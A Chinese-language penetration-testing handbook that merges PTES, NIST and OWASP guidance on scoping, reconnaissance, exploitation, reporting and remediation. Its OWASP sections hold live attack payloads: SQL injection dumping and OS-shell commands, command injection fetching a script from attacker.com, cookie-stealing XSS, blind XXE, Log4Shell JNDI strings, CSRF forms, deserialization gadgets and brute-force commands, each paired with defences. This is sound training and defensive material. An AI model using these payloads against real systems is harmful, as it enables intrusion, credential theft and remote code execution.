渗透测试知识库

00 · 使用指南：三份报告的整合逻辑

本手册整合了三份原始报告的核心内容：报告 A（PTES 工作台）侧重流程与检查清单；报告 B（完整学习手册）侧重框架对比与深度方法论；报告 C（OWASP 攻防手册）侧重具体漏洞技术与工具命令。

01 · 框架总览：这些框架各自解决什么问题

不要把它们当成互相竞争的"唯一标准"。更实用的做法是：用 PTES 组织渗透测试叙事，用 NIST 组织测试治理和技术方法，用 OWASP WSTG 深入 Web/API，用 OSSTMM 补充渠道、测量与操作安全。

七框架横向对比

框架映射关系

四类活动的区分

三种测试模式

• 黑盒（Black-box）：零先验知识，仅提供目标名称。最贴近外部攻击者，但时间成本高、覆盖率低。
• 白盒（White-box）：提供源码、架构、账号。单位时间发现最多问题，适合上线前深度测试。
• 灰盒（Grey-box）：介于两者之间，典型做法是提供普通用户账号。商业项目中最常见。

02 · 前期交互：把"能不能打、怎么打"写成纸面约定

这不是行政前置，而是技术测试的安全边界。没有清晰授权，就无法判断一个动作是测试还是越界。

必须写清的范围

• 目标 IP、域名、云账户、应用、API、无线和物理范围
• 允许的时间窗口、源 IP、测试账号、联系人
• 明确排除：第三方、生产数据、DoS、社工、持久化、破坏性利用
• 允许的验证深度：仅证明漏洞、获取低权限 Shell，还是允许影响评估

ROE 最小模板

目标：明确 IP / 域名 / 应用 / API
允许动作：发现、枚举、低风险验证；利用需单独批准
禁止动作：DoS、破坏、真实凭据爆破、未授权横向
时间：开始 / 结束 / 黑名单窗口
来源：测试机 IP 与 User-Agent
停止条件：服务错误率、账号锁定、数据访问、告警升级
联系人：技术、业务、应急响应
交付：原始证据、发现清单、风险、修复、复测

认证测试特殊要求

必须写明测试账号、每账号/全局最大尝试次数、最小延迟、并发、锁定监测和立即停止路径；未经单独明确批准，禁止对真实账号进行猜测、喷洒或撞库。

03 · 情报收集：先看清楚，再决定打哪里

以攻击者视角建立目标的攻击面地图。分两路推进：被动侦察（OSINT）不与目标直接交互；主动侦察直接接触目标、会进日志，噪音级别需对齐 ROE。

被动侦察（OSINT）

主动侦察

# 只针对授权目标，先做低风险服务识别
nmap -Pn -sV --version-light -p 22,80,443,8080 TARGET
curl -i --max-time 10 https://TARGET/
# 记录：时间、源地址、命令、输出、异常、下一步假设

资产台账字段

每个资产记录：地址、端口、服务、版本、环境、负责人、来源、首次/最近发现时间、下一步假设。

04 · 威胁建模：决定测什么，而不是盲目扫什么

把情报转化为攻击优先级。回答三个问题：哪些资产最值钱？哪类攻击者最现实？他们最可能走哪条路径？

把假设写成可验证句子

• "未认证用户可能访问管理员对象；验证标准是使用测试对象 A/B 对比响应和权限。"
• "上传功能可能只按扩展名判断类型；验证标准是无害 Canary 文件在受控目录的处理结果。"
• "SSH 可能允许密码认证；验证标准是服务端认证方式和审计日志，而不是单看 Banner。"

结构化建模方法

• STRIDE：按欺骗/篡改/抵赖/信息泄露/拒绝服务/权限提升六类威胁枚举
• PASTA：七步风险中心方法
• DREAD：风险打分（危害性/复现性/可利用性/影响面/可发现性）
• 攻击树（Attack Tree）：从目标倒推所需条件

输出 优先级列表、测试用例、需要的账号/数据、禁止的动作、成功与失败判据。

05 · 漏洞分析：把线索变成优先级

系统性地发现弱点，并通过人工验证剔除误报。自动化扫描给广度，人工分析给深度——两者缺一不可。

发现分级

• 信息：技术栈、版本、公开目录等线索
• 疑似：异常响应或扫描器命中，但缺少可重复证明
• 确认：在授权范围内用无害、最小化步骤稳定复现
• 高影响确认：还需证明影响边界，不应为了"展示威力"扩大数据访问

工具选择

06 · 渗透利用：证明漏洞"真的能用"

对已确认漏洞实施受控利用，拿到初始访问权限，用事实证明"该漏洞在真实攻击中可造成入侵"。一切动作以 ROE 为边界：能证明即可，不做破坏性动作。

决策循环

利用阶段三原则

# 常用利用工具速查
sqlmap -u "URL?id=1" --batch --risk=1 --level=1
python commix.py --url="http://target.com/ping?host=127.0.0.1" --batch
dalfox url "http://target.com/search?q=test" -b https://your.xss.ht
hydra -L users.txt -P pass.txt -t 4 ssh://target
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" > payload.ser

07 · 后渗透：从"打开一扇门"到"证明业务损失"

后渗透的核心不是"拿到 Shell 后继续做更多事"，而是回答：初始问题能造成多大真实影响？

后渗透工具选择

影响叙事模板

前置条件：攻击者需要什么权限/网络位置？
利用动作：哪一个输入/认证/配置导致问题？
直接影响：可读取、修改或执行什么？
边界：哪些资源明确无法访问？
业务影响：机密性/完整性/可用性/合规/财务/检测能力
证据：时间、请求、响应、日志、截图、复现步骤
修复：具体控制措施与优先级
复测：如何证明问题已修复且没有回归

08 · 证据、报告与复测闭环

证据链回答一个问题：三个月后，当别人质疑"这个漏洞真的存在吗"，你能否拿出完整、可复现、不可抵赖的记录？

合格证据的六个标准

证据目录结构

PENTEST-PROJECT/
├── 00-admin/          # 合同、授权书、ROE
├── 01-recon/          # 资产清单、OSINT、扫描输出
├── 02-evidence/       # 每个发现一个文件夹
│   ├── FND-01/        # 截图 / 请求响应对 / pcap
│   └── FND-02/
├── 03-notes/          # 时间线操作日志
├── 04-report/         # 报告草稿与终稿
└── 05-handover/       # 交付证据包（加密）、哈希清单

时间线日志格式

2026-08-14 09:32:11 UTC+8 | 10.20.0.15 | nmap -sV -sC -Pn 203.0.113.0/28
2026-08-14 10:05:47 UTC+8 | 10.20.0.15 | Burp 重放 /api/orders/1042 → 越权成功
2026-08-14 11:41:03 UTC+8 | 10.20.0.15 | 删除临时账号 pentest_tmp01

报告整体结构

单项发现模板

FND-01 | 发票接口越权读取（IDOR）
严重度: 高（HIGH）  CVSS: 8.1  状态: Open
位置: api.example.com — GET /v2/invoices/{id}
ATT&CK: T1190 Exploit Public-Facing Application
─────────────────────────────────────────────
描述: 接口仅校验登录态，未校验发票归属。任意注册用户修改
      路径中的数字 ID 即可读取他人发票。
前置条件: 任一有效普通用户账号；发票 ID 为自增整数。
复现步骤: 1. 以用户 A 登录，创建发票得到 id=1042
          2. 以用户 B 登录，请求 GET /v2/invoices/1042
          3. 响应返回用户 A 的发票完整内容
影响: 全量用户发票数据可被批量遍历窃取，构成 PII 泄露事件。
修复建议: 在服务层授权中间件中校验 invoice.owner_id == 当前用户 ID
参考: OWASP WSTG-ATHZ-01 / CWE-639 / API1 Broken Object Level Auth
责任人/期限: 后端组 · 14 天内（HIGH SLA）

09 · 复测与闭环管理

报告交付不是终点——风险真正降低的唯一证据是"复测通过"。没有复测的渗透测试，只是制造了一份昂贵的待办清单。

闭环流程

发现状态机

闭环健康度指标

10 · 完整项目检查清单

按"启动前 → 执行中 → 收尾 → 交付后"四个时点组织的核对清单，可直接在页面上勾选（状态保存在浏览器本地）。

A · 项目启动前（授权与范围）

B · 执行中（每阶段出口检查）

C · 收尾（清理与证据归档）

D · 报告与交付后（闭环）

11 · OWASP Top 10：2021 → 2025 对照

2025 版收录超过 280 万个应用的测试数据、分析 589 个 CWE。核心变化：SSRF 并入访问控制失效；安全配置错误跃升第 2；新增「异常情况处理不当」；「易受攻击组件」扩展为「软件供应链故障」。

12 · 注入类漏洞：SQL 注入、OS 命令注入、XSS

注入是 OWASP 榜单的「常青树」。2021 版数据显示，94% 的应用被测出某种形式的注入问题。根源在于程序将用户输入直接拼接进代码逻辑结构。

-- 攻击者输入 admin' -- 后，密码校验被注释符失效
SELECT * FROM users WHERE username = 'admin' -- ' AND password = '任意';

# 基础检测（GET 参数）
sqlmap -u "http://target.com/page.php?id=1" --batch
# 从 Burp 抓包文件测试 POST 请求
sqlmap -r request.txt --batch
# 指定参数 + 提升检测级别与风险
sqlmap -u "URL" -p id --level=3 --risk=2 --batch
# 枚举数据库 → 表 → 列 → 拖库
sqlmap -u "URL" --dbs --batch
sqlmap -u "URL" -D dbname --tables --batch
sqlmap -u "URL" -D dbname -T users -C username,password --dump --batch
# 指定注入技术（B布尔/E报错/U联合/S堆叠/T时间）
sqlmap -u "URL" --technique=BEUST --batch
# 读文件 / OS Shell（高危，仅限授权靶场）
sqlmap -u "URL" --file-read=/etc/passwd
sqlmap -u "URL" --os-shell

# 经典组合：注释替换空格 + 随机大小写 + BETWEEN 替换比较符
sqlmap -u "URL" --tamper=space2comment,randomcase,between --random-agent --delay=2 --batch
sqlmap --list-tampers   # 查看全部内置绕过脚本

String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setString(1, username);
ps.setString(2, password);
ResultSet rs = ps.executeQuery();

# Python 参数化，禁止 % 拼接
cursor.execute("SELECT * FROM users WHERE username = %s AND password = %s",
               (username, password))

host=127.0.0.1; whoami                    # 分号拼接
host=127.0.0.1 && cat /etc/passwd
host=127.0.0.1 | id
host=$(curl http://attacker.com/s.sh|sh)  # 命令替换

# Commix：命令注入自动化工具
python commix.py --url="http://target.com/ping?host=127.0.0.1" --batch
# 手工验证（Burp Repeater 改包）
GET /ping?host=127.0.0.1%3bcat%20/etc/passwd HTTP/1.1
# 时间盲注探测
curl "http://target.com/ping?host=127.0.0.1;sleep+5" -w "%{time_total}
"
# DNS 带外
GET /ping?host=127.0.0.1;nslookup+$(whoami).xxxx.dnslog.cn

# 安全：shell=False + 参数数组，杜绝分隔符注入
subprocess.run(["ping", host], shell=False)

<script>alert(document.cookie)</script>
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
"><script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
<ScRiPt>alert(1)</ScRiPt>           <!-- 大小写绕过 -->
<scr<script>ipt>alert(1)</script>   <!-- 双写绕过 -->

# 单目标扫描
dalfox url "http://testphp.vulnweb.com/listproducts.php?cat=1"
# 携带 Cookie 与盲 XSS 回调平台
dalfox url "https://target.com/search?q=test" -C "session=xxx" -b https://your.xss.ht
# 批量管道模式
cat urls.txt | dalfox pipe
# 存储型 XSS：注入点与触发点分离验证
dalfox sxss "https://target.com/update_profile" -d "nickname=test"   --trigger "https://target.com/my_profile"

// 危险：直接把用户输入写入 DOM
element.innerHTML = userInput;
// 安全：textContent（纯文本）或 DOMPurify 消毒
element.textContent = userInput;
element.innerHTML = DOMPurify.sanitize(userInput);

Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'; base-uri 'self'

13 · 访问控制类：越权、路径遍历、SSRF、CSRF

访问控制失效连续多年位居 OWASP 榜首：2021 版数据显示 94.55% 的应用存在某种形式的访问控制缺陷，相关 CVE 达 19,013 个。2025 版将 SSRF 并入本类。

# 水平越权：修改资源 ID
GET /api/user/123/profile  →  GET /api/user/456/profile
# 垂直越权：普通用户直接调用管理接口
POST /admin/deleteUser?id=100
# 参数级越权：篡改角色字段
{"user_id": 123, "role": "admin"}

# 错误：只查 ID，不查归属
order = db.get("SELECT * FROM orders WHERE id = %s", order_id)
# 正确：WHERE 条件绑定当前用户
order = db.get("SELECT * FROM orders WHERE id = %s AND user_id = %s",
               order_id, current_user.id)

GET /download?file=../../../../etc/passwd
file=/etc/passwd                          # 直接用绝对路径
file=....//....//etc/passwd               # 非递归剥离绕过
file=%2e%2e%2f%2e%2e%2fetc/passwd         # URL 编码
file=%252e%252e%252fetc%252fpasswd        # 双重 URL 编码
file=../../../etc/passwd%00.png           # 空字节截断后缀校验

File file = new File(BASE_DIRECTORY, userInput);
if (file.getCanonicalPath().startsWith(BASE_DIRECTORY + File.separator)) {
    // 规范化后的路径仍在基目录内，安全
} else {
    throw new SecurityException("非法路径");
}

http://2130706433            # 十进制 IP = 127.0.0.1
http://0x7f000001            # 十六进制 IP
http://[::ffff:127.0.0.1]    # IPv6 映射
http://xxx@evil.com          # @ 符号混淆
# 短链接 / 302 重定向 → 内网 IP（绕过入口校验）
# DNS Rebinding：首次解析合法 IP，TTL 过期后指向 169.254.169.254

<form action="https://bank.example.com/transfer" method="POST" id="f">
  <input type="hidden" name="to" value="attacker_account">
  <input type="hidden" name="amount" value="10000">
</form>
<script>document.getElementById('f').submit();</script>

<form method="post" action="/transfer">
  <input type="hidden" name="_csrf" value="安全随机值">
</form>

Set-Cookie: JSESSIONID=randomid; Secure; HttpOnly; SameSite=Lax

14 · 配置与供应链：XXE、反序列化、文件上传、Log4Shell

2025 版将「易受攻击且过时的组件」扩展为软件供应链故障，覆盖依赖投毒、构建系统攻击、分发链路篡改等全链条风险。该类别出现频次较低，但平均利用分与影响分最高。

<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<data>&xxe;</data>

<!DOCTYPE foo [
  <!ENTITY % file SYSTEM "file:///etc/passwd">
  <!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
  %dtd;
]>
<!-- evil.dtd 中将 %file 内容拼接到对 attacker.com 的请求 URL 上，从 HTTP/DNS 日志读取 -->

# XXEinjector：自动化 XXE 检测（支持 Blind XXE）
python xxeinjector.py -u http://target.com/api -p payload.xml
# Burp Suite：将 Content-Type 改为 application/xml，
# 注入 <!ENTITY xxe SYSTEM "file:///etc/passwd"> 观察响应

DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
dbf.setFeature("http://xml.org/sax/features/external-general-entities", false);
dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
dbf.setXIncludeAware(false);
dbf.setExpandEntityReferences(false);

# Python：lxml 安全参数，或直接用 defusedxml（推荐）
parser = etree.XMLParser(resolve_entities=False, no_network=True)
from defusedxml.ElementTree import parse
# PHP
libxml_disable_entity_loader(true);

# 生成 CommonsCollections 利用链 Payload
java -jar ysoserial.jar CommonsCollections1 "touch /tmp/pwned" > payload.ser
# base64 后提交到目标接口
cat payload.ser | base64 -w0

# 制作图片马（靶场练习）
copy a.jpg/b + shell.php shell.jpg   # Windows 合成图片马
cat shell.php >> a.jpg               # Linux 追加

${jndi:ldap://attacker.com:1389/Exploit}
${jndi:rmi://attacker.com:1099/Exploit}
# WAF 绕过变形
${${lower:j}ndi:ldap://attacker.com/a}
# 无害测试载荷（验证是否存在解析行为）
${java:version}
${env:PATH}

# 资产排查：找出所有 log4j-core 包
find / -name "log4j-core-*.jar" 2>/dev/null
# SCA 工具扫描依赖漏洞
trivy fs --severity HIGH,CRITICAL .
grype dir:.
# nuclei 漏洞验证（仅限授权目标）
nuclei -u http://target -t cves/2021/CVE-2021-44228.yaml

# P0 根本修复：升级到 2.17.1+（Java 8+）/ 2.12.4（Java 7）/ 2.3.2（Java 6）
<properties><log4j2.version>2.17.1</log4j2.version></properties>
# 临时缓解（可被 CVE-2021-45046 部分绕过）
-Dlog4j2.formatMsgNoLookups=true
LOG4J2_FORMAT_MSG_NO_LOOKUPS=true
# 应急手术：删除 JndiLookup 类
zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

15 · 认证与会话：爆破、JWT、MFA

认证失效覆盖弱口令、暴力破解、凭证填充（撞库）、会话管理缺陷、JWT 误用等。2025 版聚焦现代登录/会话/令牌流程。

# SSH 爆破
hydra -L users.txt -P pass.txt -t 6 ssh://192.168.1.100
# HTTP POST 表单爆破（^USER^/^PASS^ 占位，F= 失败特征串）
hydra -l admin -P pass.txt 192.168.1.100 http-post-form   "/login:username=^USER^&password=^PASS^:F=登录失败"
# 常用参数：-l 单用户 / -L 用户字典 / -P 密码字典
#           -C user:pass 组合字典 / -e nsr（空密码/用户名作密码/倒序）
#           -t 并发线程 / -o 结果输出 / -vV 详细过程

# 爆破 HS256 弱密钥
jwt_tool <JWT> -C -d wordlist.txt
# 伪造 alg=none 令牌
jwt_tool <JWT> -X a

@app.route('/login', methods=['POST'])
@limiter.limit("5/minute")           # 限速防爆破
def login():
    user = db.find_by_email(request.form['email'])
    if not user or not bcrypt.checkpw(
            request.form['password'].encode(), user.password_hash):
        return "Invalid credentials", 401   # 统一错误信息
    session.regenerate()                    # 登录后轮换会话ID
    if user.mfa_enabled:
        return redirect('/mfa-verify')      # 条件式 MFA

16 · 其他类别要点

OWASP Top 10 的二十年演进勾勒出一条清晰轨迹：从「代码级漏洞」（注入、XSS）到「系统性风险」（供应链、配置、设计、异常处理）。

安全配置错误（A02:2025，跃升第 2）

新版数据显示 100% 的被测应用都存在某种配置问题：默认口令、目录列表开启、调试模式上线、冗长错误堆栈、云存储桶公开读写、不必要端口/服务开放、安全响应头缺失。

# 配置与已知漏洞扫描
nikto -h http://target.com
nuclei -u http://target -t http/misconfiguration/
# 目录/敏感文件枚举
gobuster dir -u http://target.com -w /usr/share/wordlists/dirb/common.txt
# 云存储桶枚举
aws s3 ls s3://bucket-name --no-sign-request
# 仓库密钥泄露扫描
gitleaks detect --source ./repo
trufflehog git https://github.com/org/repo

加密机制失效（A04:2025）

明文 HTTP 被嗅探、弱算法（MD5/SHA1/DES/ECB）、硬编码密钥、随机数可预测、敏感数据明文落库。

• 全站 TLS 1.2+/HSTS；密码用 bcrypt/Argon2；数据加密用 AES-GCM 等带认证的算法
• 密钥进 KMS/Secrets 管理而非代码库

不安全设计（A06:2025）

缺陷在架构与设计阶段就注定，代码再好也无法补救——如找回密码仅凭可猜测的安全问题、交易接口无防重放与限额。

• 威胁建模（STRIDE/PASTA）、安全设计模式、参考架构、滥用场景（Abuse Case）分析——安全左移

日志与告警失效（A09:2025）

没有日志和告警，入侵发生后平均数月才被发现。

• 记录登录失败、越权、支付等关键事件；日志防注入（输入转义）
• 集中化（ELK/Splunk/SIEM）并设置可行动的实时告警
• 保证审计日志完整性与留存周期

异常情况处理不当（A10:2025，全新类别）

错误堆栈泄露内部信息、fail-open（异常时默认放行，绕过鉴权）、超时与资源耗尽导致状态不一致、边界条件（并发条件竞争、整数溢出）。

• 安全失败（fail-closed）、统一异常处理不泄露内部细节
• 事务保证状态一致性、对边界与异常路径做专项测试

17 · 速查矩阵：漏洞 × 工具 × 防御

一张图快速定位：遇到什么漏洞 → 用什么工具检测 → 用什么手段防御。

18 · 攻防工具链总览

按"攻击侧"与"防御侧"分类的工具速查表，覆盖代理、扫描、利用、防御、检测全链路。

19 · 纵深防御实战：WAF 与安全基线

ModSecurity 是全球最流行的开源 WAF 引擎，搭配 OWASP Core Rule Set（CRS）可防护 SQLi、XSS、LFI/RFI、RCE 等 Top 10 攻击，CRS 采用异常评分机制与偏执等级（Paranoia Level 1–4）平衡检出率与误报。

Docker 快速部署

services:
  crs:
    image: owasp/modsecurity-crs
    ports: ["80:80"]
    environment:
      - SERVERNAME=localhost
      - PARANOIA=1            # 偏执等级，越高规则越严、误报越多
      - ANOMALYIN=5           # 入站异常评分阈值
      - ANOMALYOUT=4          # 出站异常评分阈值
      - PROXYLOCATION=http://app:8000/   # 后端应用

Nginx 集成

# 1. 获取推荐配置并开启拦截模式
mkdir /etc/nginx/modsec
wget -P /etc/nginx/modsec/ https://raw.githubusercontent.com/SpiderLabs/ModSecurity/v3/master/modsecurity.conf-recommended
mv /etc/nginx/modsec/modsecurity.conf{-recommended,}.conf
sed -i 's/SecRuleEngine DetectionOnly/SecRuleEngine On/' /etc/nginx/modsec/modsecurity.conf
# 2. 引入 OWASP CRS 规则集
cd /etc/nginx/modsec
wget https://github.com/coreruleset/coreruleset/archive/refs/tags/v3.3.2.tar.gz
tar xf v3.3.2.tar.gz
cp coreruleset-3.3.2/crs-setup.conf{.example,}
# 3. nginx.conf 启用
# modsecurity on;
# modsecurity_rules_file /etc/nginx/modsec/main.conf;

HTTP 安全响应头速查

Strict-Transport-Security: max-age=31536000; includeSubDomains   # 强制 HTTPS
Content-Security-Policy: default-src 'self'                      # 防 XSS
X-Content-Type-Options: nosniff                                  # 防 MIME 嗅探
X-Frame-Options: DENY                                            # 防点击劫持
Referrer-Policy: strict-origin-when-cross-origin
Set-Cookie: session=...; Secure; HttpOnly; SameSite=Lax          # 会话加固

20 · Web / API 专项流程

Web/API 测试不能混用网络/主机测试的打法。重点是 BOLA/对象级授权、属性级授权、Token、Schema、限流、SSRF、GraphQL/WebSocket；必须用测试对象和角色矩阵。

WSTG 对照补充

• 配置与部署：默认文件、详细错误、调试端点、目录列表、HTTP 安全头、TLS 配置
• 认证与会话：登录、注销、密码重置、MFA、会话固定、过期、撤销、Cookie 属性
• 授权：水平/垂直越权、多租户隔离、对象级和功能级授权
• 输入与错误处理：类型、长度、编码、解析器边界、错误信息、异常堆栈和统一错误响应
• 密码学：弱算法、密钥/证书配置、传输保护、密码存储和随机数使用
• API/客户端：REST、GraphQL、WebSocket、异步任务、限速、浏览器端信任边界

推荐测试顺序

1. 读取公开页面和 API 文档，记录技术栈与版本
2. 建立正常请求基线，不带攻击载荷
3. 逐项测试认证、会话、访问控制、输入验证、文件上传、配置
4. 发现异常后用 Repeater 做单变量对比
5. 只用测试账号、测试对象和无害文件确认影响
6. 记录每个结论的前置条件与证据

文件上传验证原则

允许列表：扩展名 + MIME + magic bytes + 内容结构
存储：随机文件名、非 Web 根目录、最小权限
执行：上传目录禁止脚本执行
访问：下载接口做对象级授权
验证：使用无害 Canary，不读取真实密钥/配置

21 · 网络、SSH 与认证测试流程

网络测试的核心是"先识别、再判断、后验证"，不要凭 Banner 断言系统类型。

1. 识别：确认端口、协议、Banner、算法、TLS/Host Key
2. 判断实现：真实服务、转发、设备服务或模拟器只能作为假设，不能仅凭 Banner 定论
3. 认证方式：确认 password/publickey/证书/多因素和失败处理
4. 限量验证：优先测试账号，低并发、低速、可停止，观察服务端审计
5. 策略观察：失败次数、锁定、延迟、来源限制、告警、日志投递
6. 影响边界：不要把验证扩展到真实账号、敏感数据或横向移动

22 · 专项边界：内网、云、无线与 OT

API、AD/内网、云与容器、无线/物理/OT 不能混用一套打法。

侦查边界

• 被动侦查：公开 DNS、证书、公开文档和公开代码，不主动触达目标；适合在授权尚未覆盖主动探测时建立初步画像
• 主动侦查：端口扫描、Web 请求、协议握手和目录枚举，会触达目标，必须在 ROE 中明确源 IP、速率、时间窗和影响控制
• 外部指纹不是事实：Banner、TTL、算法或错误页面只能形成概率判断，遇到不一致应记录"不确定"，不能据此断言系统类型或蜜罐

23 · 工具选择：按动作建立自己的决策树

经验来自"假设—动作—证据—决策"循环，而不是从工具名开始。

每次行动前的 9 个问题

1. 目标是否在授权范围？
2. 我当前掌握哪些事实？
3. 哪一个未知信息阻碍决策？
4. 我要验证的假设是什么？
5. 工具是否匹配目标协议和实现？
6. 会产生什么副作用？
7. 成功和失败的判据是什么？
8. 证据从哪里读取？
9. 什么时候停止，下一步如何升级？

A1 · 法律合规红线

渗透测试的全部合法性来自事先、书面、范围明确的授权。

在中国境内，未经授权扫描、侵入计算机信息系统或获取数据，可能触犯《刑法》第 285 条（非法侵入/获取计算机信息系统数据）与第 286 条（破坏计算机信息系统）；承接等级保护相关测评还需关注等保 2.0 系列标准对测评机构与流程的要求。跨境测试还需注意数据出境与目标司法辖区的计算机犯罪法律。

A2 · 能力认证路径（学习参照）

A3 · 官方一手资源（建议收藏原文）

• PTES 官方站点 — pentest-standard.org
• NIST SP 800-115 原文 — csrc.nist.gov
• OSSTMM 3 手册原文 — isecom.org
• OWASP WSTG 在线版 — owasp.org；OWASP Top 10 — owasp.org/Top10
• MITRE ATT&CK 企业矩阵 — attack.mitre.org
• CVSS v4.0 规范与计算器 — first.org
• TIBER-EU 框架 — ecb.europa.eu
• 合法练手环境：HackTheBox、TryHackMe、PortSwigger Web Security Academy、VulnHub、本地靶场（DVWA、Metasploitable）